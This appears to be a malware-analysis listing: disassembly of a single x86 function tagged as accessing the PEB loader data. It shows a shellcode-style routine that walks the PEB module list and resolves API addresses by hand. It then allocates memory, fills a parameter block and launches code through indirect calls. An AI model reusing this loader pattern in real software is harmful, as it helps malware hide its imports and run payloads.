Function at 0x431132
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
pop edx
cmp edx, 0
je 0x431146
cmp edx, 0x70000000
jb 0x43114b
call 0x431138
push 0
sub dx, word ds:[edx - 0x1b]
mov dword [ebp - 0x28], edx
mov ecx, dword ds:[edx]
mov dword [ebp - 0x38], ecx
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov eax, dword [eax + 0x18]
mov ecx, dword [ebp - 0x28]
add ecx, 5
push ecx
push eax
call fcn.00431432
add esp, 8
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x28]
movzx ecx, byte ds:[eax + 4]
add eax, ecx
mov dword [ebp - 0x34], eax
add eax, 0x32
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x34]
movsx ecx, byte [eax]
test ecx, ecx
je 0x431205
mov edx, dword [ebp - 0x14]
movsx eax, byte [edx]
test eax, eax
je 0x4311e8
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 0x34]
push edx
call dword [ebp - 0x3c]
push eax
call fcn.00431432
add esp, 8
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x10]
mov dword ds:[edx], eax
add edx, 4
mov dword [ebp - 0x10], edx
mov ecx, dword [ebp - 0x14]
movsx edx, byte ds:[ecx]
test edx, edx
je 0x4311e2
inc ecx
jmp 0x4311d7
inc ecx
mov dword [ebp - 0x14], ecx
jmp 0x4311a4
mov ecx, dword [ebp - 0x14]
add ecx, 1
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp - 0x34]
movsx edx, byte ds:[ecx]
test edx, edx
je 0x4311ff
inc ecx
jmp 0x4311f4
inc ecx
mov dword [ebp - 0x34], ecx
jmp 0x43119a
mov ecx, dword [ebp - 0x1c]
mov edx, dword ds:[ecx]
mov dword [ebp - 0x24], edx
mov edx, dword ds:[ecx + 4]
mov dword [ebp - 0x30], edx
mov edx, dword ds:[ecx + 0x14]
mov dword [ebp - 0x40], edx
mov edx, dword ds:[ecx + 0x18]
mov dword [ebp - 4], edx
mov edx, dword [ebp - 0x28]
add edx, 0x12
mov dword [ebp - 0x18], edx
push 4
push 0x1000
push 0x104
push 0
call dword [ebp - 0x30]
mov dword [ebp - 0x2c], eax
push 0x104
mov eax, dword [ebp - 0x2c]
push eax
push 0xffffffffffffffff
mov ecx, dword [ebp - 0x18]
push ecx
push 0
push 0
call dword [ebp - 0x40]
push 0x104
mov edx, dword [ebp - 0x2c]
push edx
call dword [ebp - 4]
mov eax, dword [ebp - 0x28]
add eax, 0x25
mov dword [ebp - 0x18], eax
push 4
push 0x1000
push 0x400
push 0
call dword [ebp - 0x30]
mov dword [ebp - 0x20], eax
push 0x400
mov ecx, dword [ebp - 0x20]
push ecx
push 0xffffffffffffffff
mov edx, dword [ebp - 0x18]
push edx
push 0
push 0
call dword [ebp - 0x40]
mov eax, dword [ebp - 0x18]
movzx ecx, byte [eax - 1]
add ecx, dword [ebp - 0x18]
mov dword [ebp - 0x18], ecx
push 4
push 0x1000
push 0x400
push 0
call dword [ebp - 0x30]
mov dword [ebp - 0xc], eax
push 0x400
mov edx, dword [ebp - 0xc]
push edx
push 0xffffffffffffffff
mov eax, dword [ebp - 0x18]
push eax
push 0
push 0
call dword [ebp - 0x40]
push 4
push 0x1000
push 0x24
push 0
call dword [ebp - 0x30]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x1c]
mov edx, dword ds:[ecx + 0xc]
mov dword ds:[eax + 8], edx
mov edx, dword ds:[ecx + 0x10]
mov dword ds:[eax + 0xc], edx
mov edx, dword ds:[ecx + 0x20]
mov dword ds:[eax + 4], edx
mov edx, dword ds:[ecx + 0x1c]
mov dword ds:[eax + 0x10], edx
mov edx, dword ds:[ecx + 8]
mov dword ds:[eax + 0x14], edx
mov edx, dword [ebp - 0x20]
mov dword ds:[eax + 0x18], edx
mov edx, dword [ebp - 0xc]
mov dword ds:[eax + 0x1c], edx
mov edx, dword [ebp - 0x2c]
mov dword ds:[eax + 0x20], edx
mov dword ds:[eax], 1
mov ecx, dword [ebp - 8]
push ecx
call fcn.00431352
mov edx, dword [ebp - 8]
mov dword [edx], eax
push 0
push 0
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 8]
mov edx, dword [ecx]
push edx
push 0
push 0
call dword [ebp - 0x24]
call dword [ebp - 0x38]
mov esp, ebp
pop ebp
ret